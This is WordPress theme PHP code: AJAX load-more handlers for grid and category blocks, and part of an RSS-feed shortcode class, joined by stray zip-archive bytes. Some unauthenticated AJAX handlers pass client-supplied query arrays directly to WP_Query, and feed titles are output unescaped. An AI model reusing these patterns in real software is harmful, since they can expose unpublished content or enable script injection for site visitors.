				data-auto="<?php echo $slider_autoplay; ?>" data-dots="true" data-nav="false">
				<div class="swiper-wrapper">
				<?php endif;?>
				<?php
if ($style == 'style-5' || $style == 'style-12'):
			$data_item = 2;
			if ($style == 'style-12'):
				$data_item = 3;
			endif;
			?>
								<div class="penci-magcat-carousel-wrapper">
									<div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-magcat-carousel"
										data-speed="400" data-auto="<?php echo $slider_autoplay; ?>"
										data-item="<?php echo $data_item; ?>" data-desktop="<?php echo $data_item; ?>"
										data-tablet="2" data-tabsmall="1">
										<div class="swiper-wrapper">
										<?php endif;?>
						<?php if ($style == 'style-7' || $style == 'style-8' || $style == 'style-13'): ?>
						<ul class="penci-grid penci-grid-maglayout penci-fea-cat-<?php echo $style; ?>">
							<?php endif;?>
							<?php
$m = 1;
		while ($fea_query->have_posts()):
			$fea_query->the_post();
			include locate_template('template-parts/magazine-sc/magazine-' . sanitize_file_name( $style ) . '.php');
			++$m;
		endwhile;
		wp_reset_postdata();
		?>
							<?php if ($style == 'style-7' || $style == 'style-8' || $style == 'style-13'): ?>
						</ul>
					<?php endif;?>
						<?php if ($style == 'style-5' || $style == 'style-12'): ?>
						</div>
					</div>
				</div>
			<?php endif;?>
				<?php if ($style == 'style-4'): ?>
				</div>
			</div>
		<?php endif;?>
		</div>
		<?php
		exit;
	}
}

/**
 * Functions callback when using ajax load more posts on Big Grid
 *
 * @since 7.9
 */
if (!function_exists('penci_big_grid_more_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_bgmore_post_ajax', 'penci_big_grid_more_post_ajax_func');
	add_action('wp_ajax_penci_bgmore_post_ajax', 'penci_big_grid_more_post_ajax_func');
	function penci_big_grid_more_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_bg', 'nonce');

		$settings = (isset($_POST['settings'])) ? $_POST['settings'] : array();
		$pagednum = (isset($_POST['pagednum'])) ? (int) $_POST['pagednum'] : 1;
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$arppp = isset($_POST['arppp']) ? (int) $_POST['arppp'] : '';
		$cat = isset($_POST['cat']) ? $_POST['cat'] : '';
		$tag = isset($_POST['tag']) ? $_POST['tag'] : '';
		$author = isset($_POST['author']) ? $_POST['author'] : '';
		$scroll = isset($_POST['scroll']) ? $_POST['scroll'] : '';

		/* Get settings data */
		$flag_style = false;
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		$query_id = isset( $settings['query_id'] ) ? $settings['query_id'] : 'all';
		$overlay_type = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy = $settings['disable_lazy'] == 'false' ? false : $settings['disable_lazy'];
		$image_hover = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$readmore_icon = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$hide_cat_small = $settings['hide_cat_small'] == 'false' ? false : $settings['hide_cat_small'];
		$hide_meta_small = $settings['hide_meta_small'] == 'false' ? false : $settings['hide_meta_small'];
		$hide_excerpt_small = $settings['hide_excerpt_small'] == 'false' ? false : $settings['hide_excerpt_small'];
		$hide_rm_small = $settings['hide_rm_small'] == 'false' ? false : $settings['hide_rm_small'];
		$show_formaticon = $settings['show_formaticon'] == 'false' ? false : $settings['show_formaticon'];
		$show_reviewpie = $settings['show_reviewpie'] == 'false' ? false : $settings['show_reviewpie'];
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$post_meta = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
		$primary_cat = $settings['primary_cat'] == 'false' ? false : $settings['primary_cat'];
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$show_readmore = $settings['show_readmore'] == 'false' ? false : $settings['show_readmore'];
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		if (!in_array($biggid_style, array('style-1', 'style-2'))) {
			$flag_style = true;
		}

		if (isset($settings['jscomposer']) && $settings['jscomposer'] == 'yes' && $settings['query']) {
			$settings['query'] = penci_build_args_query($settings['query']);
			$post_meta = explode(',', $post_meta);
		}

		$args = array(
			'post_type' => 'post',
			'post_status' => 'publish',
			'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : 'date',
			'order' => isset($settings['query']['order']) ? $settings['query']['order'] : 'DESC',
		);

		$pper_page = isset($settings['query']['posts_per_page']) ? $settings['query']['posts_per_page'] : 10;
		$per_page = $arppp ? $arppp : $pper_page;
		$args['posts_per_page'] = $per_page;

		if (isset($settings['query']['tax_query'])) {
			$args['tax_query'] = $settings['query']['tax_query'];
		}

		if ($query_type != 'current_query') {
			$args = $settings['query'] ? $settings['query'] : array();
			$args['paged'] = $pagednum;
			$flag_offset = false;
			if (isset($args['offset']) && (int) $args['offset'] > 0) {
				$flag_offset = true;
				$data_offset = $args['offset'];
				$data_paged = isset($args['paged']) ? $args['paged'] : 1;
				unset($args['paged']);
				$args['offset'] = $per_page * ($data_paged - 1) + $data_offset;
			}
		} elseif ($archivetype && $archivevalue) {

			$orderby = get_theme_mod('penci_general_post_orderby');
			if (!$orderby):
				$orderby = 'date';
			endif;

			$order = get_theme_mod('penci_general_post_order');
			if (!$order):
				$order = 'DESC';
			endif;

			$args = array(
				'post_type' => 'post',
				'post_status' => 'publish',
				'posts_per_page' => $arppp ? $arppp : 10,
				'offset' => $arppp * ($pagednum - 1),
				'orderby' => $orderby,
				'order' => $order,
			);

			$new_offset = (isset($settings['query']['offset']) && $settings['query']['offset']) ? intval($settings['query']['offset']) : 0;
			$args['offset'] = $new_offset + ($arppp * ($pagednum - 1));

			if ('cat' == $archivetype) {
				$args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$args['post_type'] = $array_include;

				} elseif (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$args['author'] = $archivevalue;

				if (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} else {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}
		}

		if ($cat || $tag || $author) {
			$orderby = get_theme_mod('penci_general_post_orderby');
			if (!$orderby):
				$orderby = 'date';
			endif;

			$order = get_theme_mod('penci_general_post_order');
			if (!$order):
				$order = 'DESC';
			endif;
			$args = array(
				'post_type' => isset($settings['query']['post_type']) ? $settings['query']['post_type'] : 'post',
				'post_status' => 'publish',
				'posts_per_page' => $per_page,
				'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : $orderby,
				'order' => isset($settings['query']['order']) ? $settings['query']['order'] : $order,
			);
			if ($pagednum > 1) {
				$args['offset'] = $per_page * ($pagednum - 1);
			}
		}

		if ($cat) {
			$args['cat'] = $cat;
		}

		if ($tag) {
			$args['tag_id'] = $tag;
		}

		if ($author) {
			$args['author'] = $tag;
		}

		if ($pagednum) {
			$args['paged'] = $pagednum;
		}
		$args = apply_filters( 'penci_elementor_query_' . $query_id, $args );
		$loop = new WP_Query($args);

		$class_check = $args['paged'] >= $loop->max_num_pages ? 'pc-nomorepost' : 'pc-hasmorepost';
		if ($loop->have_posts()):
			$num_posts = $loop->post_count;
			$big_items = penci_big_grid_is_big_items($biggid_style);
			$bg = 1;
			if ($flag_style) {
				echo '<div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
			}
			while ($loop->have_posts()):
				$loop->the_post();
				$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				$is_big_item = '';
				$surplus = penci_big_grid_count_classes($bg, $biggid_style, true);
				$thumbnail = $thumb_size;
				if (!empty($big_items) && in_array($surplus, $big_items)) {
					$thumbnail = $bthumb_size;
					$is_big_item = ' pcbg-big-item';
				}
				if (penci_is_mobile()) {
					$thumbnail = $mthumb_size;
				}
				if (!$is_big_item) {
					if ('yes' == $hide_cat_small) {
						$hide_cat_small_flag = true;
					}
					if ('yes' == $hide_meta_small) {
						$hide_meta_small_flag = true;
					}
					if ('yes' == $hide_excerpt_small) {
						$hide_excerpt_small_flag = true;
					}
					if ('yes' == $hide_rm_small) {
						$hide_rm_small_flag = true;
					}
				}

				if ('style-1' == $biggid_style || 'style-2' == $biggid_style) {
					$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				}

				if (isset($settings['jscomposer']) && $settings['jscomposer'] == 'yes') {
					include locate_template('inc/js_composer/shortcodes/big_grid/based-post.php');
				} else {
					include locate_template('inc/elementor/modules/penci-big-grid/widgets/based-post.php');
				}

				if ($flag_style && $surplus == 0 && $bg < $num_posts) {
					echo '</div><div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
				}

				++$bg;
			endwhile;

			if ($flag_style) {
				echo '</div>';
			}

			echo '<span class="' . $class_check . '"></span>';

		endif; /* End check if no posts */

		wp_reset_postdata();

		exit;
	}
}

/**
 * Functions callback when using ajax load more posts on Big Grid
 *
 * @since 7.9
 */
if (!function_exists('penci_big_grid_more_terms_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_bgmore_terms_ajax', 'penci_big_grid_more_terms_ajax_func');
	add_action('wp_ajax_penci_bgmore_terms_ajax', 'penci_big_grid_more_terms_ajax_func');
	function penci_big_grid_more_terms_ajax_func() {
		check_ajax_referer('penci_ajax_terms_filter_bg', 'nonce');

		$settings = (isset($_POST['settings'])) ? $_POST['settings'] : array();
		$pagednum = (isset($_POST['pagednum'])) ? (int) $_POST['pagednum'] : 1;
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';

		/* Get settings data */
		$flag_style = false;
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		$overlay_type = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy = $settings['disable_lazy'] == 'false' ? false : $settings['disable_lazy'];
		$image_hover = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$readmore_icon = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$hide_excerpt_small = $settings['hide_excerpt_small'] == 'false' ? false : $settings['hide_excerpt_small'];
		$hide_rm_small = $settings['hide_rm_small'] == 'false' ? false : $settings['hide_rm_small'];
		$show_formaticon = $settings['show_formaticon'] == 'false' ? false : $settings['show_formaticon'];
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$post_meta = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$show_readmore = $settings['show_readmore'] == 'false' ? false : $settings['show_readmore'];
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		if (!in_array($biggid_style, array('style-1', 'style-2'))) {
			$flag_style = true;
		}

		$args = $settings['query'];

		if ($pagednum) {
			$args['offset'] = ($pagednum - 1) * ($args['number']);
		}

		$loop_temrs = get_terms($args);

		$max_terms = $args;
		unset($max_terms['number']);
		unset($max_terms['offset']);

		$max_terms_count = count(get_terms($max_terms));
		$settings = array();
		$settings['term_name'] = $args['taxonomy'];

		$class_check = $pagednum >= ceil($max_terms_count / $args['number']) ? 'pc-nomorepost' : 'pc-hasmorepost';
		if ($loop_temrs):
			$num_posts = count($loop_temrs);
			$big_items = penci_big_grid_is_big_items($biggid_style);
			$bg = 1;
			if ($flag_style) {
				echo '<div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
			}
			foreach ($loop_temrs as $setting):
				$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				$is_big_item = '';
				$surplus = penci_big_grid_count_classes($bg, $biggid_style, true);
				$thumbnail = $thumb_size;
				if (!empty($big_items) && in_array($surplus, $big_items)) {
					$thumbnail = $bthumb_size;
					$is_big_item = ' pcbg-big-item';
				}
				if (penci_is_mobile()) {
					$thumbnail = $mthumb_size;
				}
				if (!$is_big_item) {
					if ('yes' == $hide_excerpt_small) {
						$hide_excerpt_small_flag = true;
					}
					if ('yes' == $hide_rm_small) {
						$hide_rm_small_flag = true;
					}
				}

				if ('style-1' == $biggid_style || 'style-2' == $biggid_style) {
					$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				}

				$post_count = $setting->count;
				$image_url = get_default_term_thumb_url($setting->term_id, $thumbnail);

				/* Get Custom Items Data */
				$item_id = ' elementor-repeater-item-' . $setting->term_id;
				$image_ratio = penci_get_ratio_size_based_url($image_url);

				$title = $setting->name;
				$title_link = get_term_link($setting->term_id);
				$title_attr = '';

				$desc = $setting->description;

				include locate_template('inc/elementor/modules/penci-category-listing/widgets/category.php');

				if ($flag_style && $surplus == 0 && $bg < $num_posts) {
					echo '</div><div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
				}

				++$bg;
			endforeach;

			if ($flag_style) {
				echo '</div>';
			}

			echo '<span class="' . $class_check . '"></span>';

		endif; /* End check if no posts */

		wp_reset_postdata();

		exit;
	}
}

add_action( 'wp_ajax_penci_fix_polylang_translation', 'penci_fix_polylang_translation' );
function penci_fix_polylang_translation() {
	
	check_ajax_referer( 'penci_fix_polylang_translation', '_nonce' );

	$theme_path = get_template_directory();
	$wpml_config_path = $theme_path . '/wpml-config.xml';
	$wpml_config_bk_path = $theme_path . '/wpml-config-bk.xml';

	if (file_exists($wpml_config_path)) {
		rename($wpml_config_path, $wpml_config_bk_path);
	}

	wp_send_json_success();	
}PK     2w\-      rss_feed.phpnu [        <?php

class Penci_Rss_Feed {
	public static $shortcode_count = 1;

	public static function get_rss( $atts, $content = '' ) {
		$sc                   = self::get_short_code_attributes( $atts );
		$remove_default_style = isset( $sc['disable_default_style'] ) && in_array( (string) $sc['disable_default_style'], array(
				'1',
				'y',
				'yes'
			), true );
		if ( ! $remove_default_style ) {
			$settings = apply_filters( 'penci_rss_feed_get_settings', array() );
			if ( ! empty( $settings['general']['disable-default-style'] ) ) {
				$remove_default_style = true;
			}
		}


		$feed_url = self::normalize_urls( $sc['feeds'] );
		if ( empty( $feed_url ) ) {
			return $content;
		}
		$cache = $sc['refresh'];

		// Disregard the pseudo-shortcode coming from Gutenberg as a lazy one.
		if ( ( true === $sc['lazy'] || 'yes' === $sc['lazy'] ) && ! isset( $sc['gutenberg'] ) ) {
			$attributes = '';
			foreach ( $sc as $key => $val ) {
				// ignore the feedData, its not required.
				if ( 'feedData' === $key ) {
					continue;
				}
				if ( is_array( $val ) ) {
					$val = implode( ',', $val );
				}
				$attributes .= 'data-' . esc_attr( $key ) . '="' . esc_attr( $val ) . '"';
			}
			$lazyload_cache_key = md5( sprintf( 'pcrss-lazy-%s', ( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url ) ) );
			$content            = get_transient( $lazyload_cache_key );

			// the first time the shortcode is being called it will not have any content.
			if ( empty( $content ) ) {
				$content = apply_filters( 'penci_rss_feed_lazyload_loading_msg', __( 'Loading', 'soledad' ) . '...', $feed_url );
			} else {
				$attributes .= 'data-has_valid_cache="true"';
			}
			$class = array_filter( apply_filters( 'penci_rss_feed_add_classes_block', array(
				$sc['classname'],
				'pcrss-' . md5( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url )
			), $sc, null, $feed_url ) );
			$html  = "<div class='pcrss-lazy' $attributes>";
			$html  .= "$content</div>";

			return $html;
		}

		$feed = self::fetch_feed( $feed_url, $cache, $sc );
		if ( is_string( $feed ) ) {
			return $feed;
		}
		$sc      = self::sanitize_attr( $sc, $feed_url );
		$content = self::render_content( $sc, $feed, $feed_url, $content );

		return $content;
	}

	public static function get_short_code_attributes( $atts ) {
		// Retrieve & extract shortcode parameters.
		$sc = shortcode_atts(
			array(
				// comma separated feeds url.
				'feeds'                 => '',
				// number of feeds items (0 for unlimited).
				'max'                   => '5',
				// display feed title yes/no.
				'feed_title'            => 'yes',
				// _blank, _self
				'target'                => '_blank',
				// empty or no for nofollow.
				'follow'                => '',
				// strip title after X char. X can be 0 too, which will remove the title.
				'title'                 => '',
				// yes (author, date, time), no (NEITHER), author, date, time, categories
				// tz=local (for date/time in blog time)
				// tz=gmt (for date/time in UTC time, this is the default)
				// tz=no (for date/time in the feed, without conversion).
				'meta'                  => 'yes',
				// yes (all), no (NEITHER)
				// source: show feed title.
				'multiple_meta'         => 'no',
				// strip title.
				'summary'               => 'yes',
				// strip summary after X char.
				'summarylength'         => '',
				// yes, no, auto.
				'thumb'                 => 'auto',
				// default thumb URL if no image found (only if thumb is set to yes or auto).
				'default'               => '',
				// thumbs pixel size.
				'size'                  => '',
				// only display item if title contains specific keywords (Use comma(,) and plus(+) keyword).
				'keywords_title'        => '',
				// only display item if title OR content contains specific keywords (Use comma(,) and plus(+) keyword).
				'keywords_inc'          => '',
				// Keyword filter include in specific field( title, description, author ).
				'keywords_inc_on'       => '',
				// Keyword filter exclude in specific field( title, description, author ).
				'keywords_exc_on'       => '',
				// cache refresh.
				'refresh'               => '12_hours',
				// sorting.
				'sort'                  => '',
				// https = force https
				// default = fall back to default image
				// auto = continue as it is.
				'http'                  => 'auto',
				// message to show when feed is empty.
				'error_empty'           => __( 'Feed has no items.', 'soledad' ),
				// to disable amp support, use 'no'. This is currently not available as part of the shortcode tinymce form.
				'amp'                   => 'yes',
				// paginate.
				'offset'                => 0,
				// class name of this block.
				'className'             => '',
				// lazy loading of feeds?
				'lazy'                  => 'no',
				// From datetime.
				'from_datetime'         => '',
				// To datetime.
				'to_datetime'           => '',
				// Disable default style.
				'disable_default_style' => 'no',
			),
			$atts,
			'penci_rss_feed_default'
		);
		if ( ! isset( $sc['classname'] ) ) {
			$sc['classname'] = $sc['className'];
			unset( $sc['className'] );
		}
		$sc = array_merge( $sc, apply_filters( 'penci_rss_feed_get_short_code_attributes_filter', $atts ) );

		return $sc;
	}

	public static function normalize_urls( $raw ) {
		$feeds    = self::process_feed_source( $raw );
		$feed_url = self::get_feed_url( $feeds );
		if ( is_array( $feed_url ) ) {
			foreach ( $feed_url as $index => $url ) {
				$feed_url[ $index ] = trim( self::smart_convert( $url ) );
			}
		} else {
			$feed_url = trim( self::smart_convert( $feed_url ) );
		}

		return $feed_url;
	}

	public static function process_feed_source( $src ) {
		$regex  = '((https?|ftp)\:\/\/)?';                                      // Contains Protocol.
		$regex .= '([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?';  // Uses User and Pass.
		$regex .= '([a-z0-9-.]*)\.([a-z]{2,3})';                                // Has Host or IP.
		$regex .= '(\:[0-9]{2,5})?';                                            // Uses Port.
		$regex .= '(\/([a-z0-9+\$_-]\.?)+)*\/?';                                // Has Path.
		$regex .= '(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?';                   // Has GET Query.
		$regex .= '(#[a-z_.-][a-z0-9+\$_.-]*)?';                                // Uses Anchor.
		if ( preg_match( "/^$regex$/", $src ) ) {
			// If it matches Regex ( it's not a slug ) so return the sources.
			return $src;
		} else {
			return trim( $src );
		}
	}

	public static function smart_convert( $url ) {

		$url = htmlspecialchars_decode( $url );

		// Automatically fix deprecated google news feeds.
		if ( false !== strpos( $url, 'news.google.' ) ) {

			$parts = wp_parse_url( $url );
			parse_str( $parts['query'], $query );

			if ( isset( $query['q'] ) ) {
				$search_query = $query['q'];
				unset( $query['q'] );
				$url = sprintf( 'https://news.google.com/news/rss/search/section/q/%s/%s?%s', $search_query, $search_query, http_build_query( $query ) );

			}
		}

		return apply_filters( 'penci_rss_feed_alter_feed_url', $url );
	}

	public static function fetch_feed( $feed_url, $cache = '12_hours', $sc = '' ) {
		// Load SimplePie if not already.
		do_action( 'penci_rss_feed_pre_http_setup', $feed_url );
		// Load SimplePie Instance.
		$feed = self::init_feed( $feed_url, $cache, $sc ); // Not used as log as #41304 is Opened.

		// Report error when is an error loading the feed.
		if ( is_wp_error( $feed ) ) {
			// Fallback for different edge cases.
			if ( is_array( $feed_url ) ) {
				$feed_url = array_map( 'html_entity_decode', $feed_url );
			} else {
				$feed_url = html_entity_decode( $feed_url );
			}

			$feed_url = self::get_valid_source_urls( $feed_url, $cache );

			$feed = self::init_feed( $feed_url, $cache, $sc ); // Not used as log as #41304 is Opened.

		}

		do_action( 'penci_rss_feed_post_http_teardown', $feed_url );

		return $feed;
	}

	public static function filter_custom_pattern( $keyword = '' ) {
		$pattern = '';
		$regex   = array();
		if ( ! empty( $keyword ) && strlen( preg_replace( '/[^a-zA-Z]/', '', $keyword ) ) <= 500 ) {
			$keywords = explode( ',', $keyword );
			$keywords = array_filter( $keywords );
			$keywords = array_map( 'trim', $keywords );
			if ( ! empty( $keywords ) ) {
				foreach ( $keywords as $keyword ) {
					$keyword = explode( '+', $keyword );
					$keyword = array_map(
						function( $k ) {
							$k = trim( $k );
							return "(?=.*$k)";
						},
						$keyword
					);
					$regex[] = implode( '', $keyword );
				}
				$pattern .= implode( '|', $regex );
			}
		}
		return $pattern;
	}

	public static function sanitize_attr( $sc, $feed_url ) {
		// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
		if ( '0' == $sc['max'] ) {
			$sc['max'] = '999';
		} elseif ( empty( $sc['max'] ) || ! is_numeric( $sc['max'] ) ) {
			$sc['max'] = '5';
		}

		if ( empty( $sc['offset'] ) || ! is_numeric( $sc['offset'] ) ) {
			$sc['offset'] = '0';
		}

		if ( empty( $sc['size'] ) || ! ctype_digit( (string) $sc['size'] ) ) {
			$sc['size'] = '150';
		}
		if ( ! empty( $sc['keywords_title'] ) ) {
			if ( is_array( $sc['keywords_title'] ) ) {
				$sc['keywords_title'] = implode( ',', $sc['keywords_title'] );
			}
			$sc['keywords_title'] = self::filter_custom_pattern( $sc['keywords_title'] );
		}
		if ( ! empty( $sc['keywords_inc'] ) ) {
			if ( is_array( $sc['keywords_inc'] ) ) {
				$sc['keywords_inc'] = implode( ',', $sc['keywords_inc'] );
			}
			$sc['keywords_inc'] = self::filter_custom_pattern( $sc['keywords_inc'] );
		}
		if ( ! empty( $sc['keywords_ban'] ) ) {
			if ( is_array( $sc['keywords_ban'] ) ) {
				$sc['keywords_ban'] = implode( ',', $sc['keywords_ban'] );
			}
			$sc['keywords_ban'] = self::filter_custom_pattern( $sc['keywords_ban'] );
		}
		if ( ! empty( $sc['keywords_exc'] ) ) {
			if ( is_array( $sc['keywords_exc'] ) ) {
				$sc['keywords_exc'] = implode( ',', $sc['keywords_exc'] );
			}
			$sc['keywords_exc'] = self::filter_custom_pattern( $sc['keywords_exc'] );
		}
		if ( empty( $sc['summarylength'] ) || ! is_numeric( $sc['summarylength'] ) ) {
			$sc['summarylength'] = '';
		}
		if ( empty( $sc['default'] ) ) {
			$sc['default'] = apply_filters( 'penci_rss_feed_default_image', $sc['default'], $feed_url );
		}

		return $sc;
	}

	private static function render_content( $sc, $feed, $feed_url, $content = '' ) {
		$count                   = 0;
		$sizes                   = array(
			'width'  => $sc['size'],
			'height' => $sc['size'],
		);
		$sizes                   = apply_filters( 'penci_rss_feed_thumb_sizes', $sizes, $feed_url );
		$feed_title              = self::get_feed_title_filter( $feed, $sc, $feed_url );
		
		if ( $feed->error() ) {
			$content .= apply_filters( 'penci_rss_feed_default_error', $feed->error(), $feed, $feed_url );
		}

		$feed_items = self::get_feed_array( array(), $sc, $feed, $feed_url, $sizes );
		$class      = array_filter( apply_filters( 'penci_rss_feed_add_classes_block', array(
			$sc['classname'],
			'pcrss-' . md5( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url )
		), $sc, $feed, $feed_url ) );

		$main_class = 'pcrss-rss';
		if ( isset( $sc['disable_default_style'] ) && 'yes' === $sc['disable_default_style'] ) {
			$main_class = 'pcrss-' . self::$shortcode_count;
			if ( isset( $feed_title['rss_classes'] ) ) {
				$feed_title['rss_classes'][]         = $main_class;
				$feed_title['disable_default_style'] = true;
			}
			self::$shortcode_count ++;
		}
		$class[] = $main_class;

		$type                 = $sc['type'] ? $sc['type'] : '';
		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		$item_class          = 'normal-item';
		if ( 'crs' == $type ) {
			$inner_wrapper_class .= ' penci-owl-carousel swiper penci-owl-carousel-slider';
			$item_class          = 'swiper-slide';
		}

		$inner_wrapper_class .= ' pcsl-imgpos-' . $sc['imgpos'];
		$inner_wrapper_class .= ' pcsl-col-' . $sc['column'];
		$inner_wrapper_class .= ' pcsl-tabcol-' . $sc['tab_column'];
		$inner_wrapper_class .= ' pcsl-mobcol-' . $sc['mb_column'];
		if ( 'yes' == $sc['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $sc['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $sc['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $sc['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $sc['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $sc['imgtop_mobile'] && in_array( $sc['imgpos'], array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $sc['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$content .= '<div class="penci-smalllist-wrapper">';
		$content .= '<div class="penci-smalllist pcsl-wrapper pwsl-id-default">';
		$content .= '<div class="' . esc_attr( implode( ' ', $class ) .' ' . $inner_wrapper_class ) . '">';
		

		if ( empty( $feed_items ) ) {
			$content .= esc_html( $sc['error_empty'] );
			$content .= '</div></div></div>';

			return $content;
		}

		$settings['disable_lazy'] = true;

		
		foreach ( $feed_items as $item ) {

				$wrap_item_class = empty( $item['item_img_path'] ) || 'no' == $sc['thumb'] ? ' pcsl-nothumb' : '';
				
				$content .= '<div class="pcsl-item'.$wrap_item_class.'"><div class="pcsl-itemin"><div class="pcsl-iteminer">';
				
				if ( ! empty( $item['item_img_path'] ) && 'no' !== $sc['thumb'] ) {
                	$content .= '<div class="pcsl-thumb">';
					$content .= '<a ' . penci_layout_bg($item['item_img_path'], 'yes' != $settings['disable_lazy']) . 
					' href="' . esc_url( $item['item_url'] ) . '" title="' . wp_strip_all_tags($item['item_title']) . 
					'" class="' . penci_layout_bg_class('yes' != $settings['disable_lazy']) . ' penci-image-holder"' . '>' . 
					penci_layout_img($item['item_img_path'], $item['item_title'], 'yes' != $settings['disable_lazy']) . 
					'</a>';
					$content .= '</div>';
				}

				$content .= '<div class="pcsl-content">';
				
				$content .= '<div class="pcsl-title"><a rel="'.esc_attr( $item['item_url_follow'] ).'" target="'.esc_attr( $item['item_url_target'] ).'" href="'.esc_url( $item['item_url'] ).'">'.$item['item_title'].'</a></div>';
				
				$content .= '<div class="grid-post-box-meta pcsl-meta">';
				$content .= empty( $item['item_meta'] ) ? '' : sprintf( '<span>%s</span>', wp_kses_post( $item['item_meta'] ) );
				$content .= '</div>';

				if ( 'side' == $sc['excerpt_pos'] ) {

					$content .= '<div class="pcbg-pexcerpt pcsl-pexcerpt">';
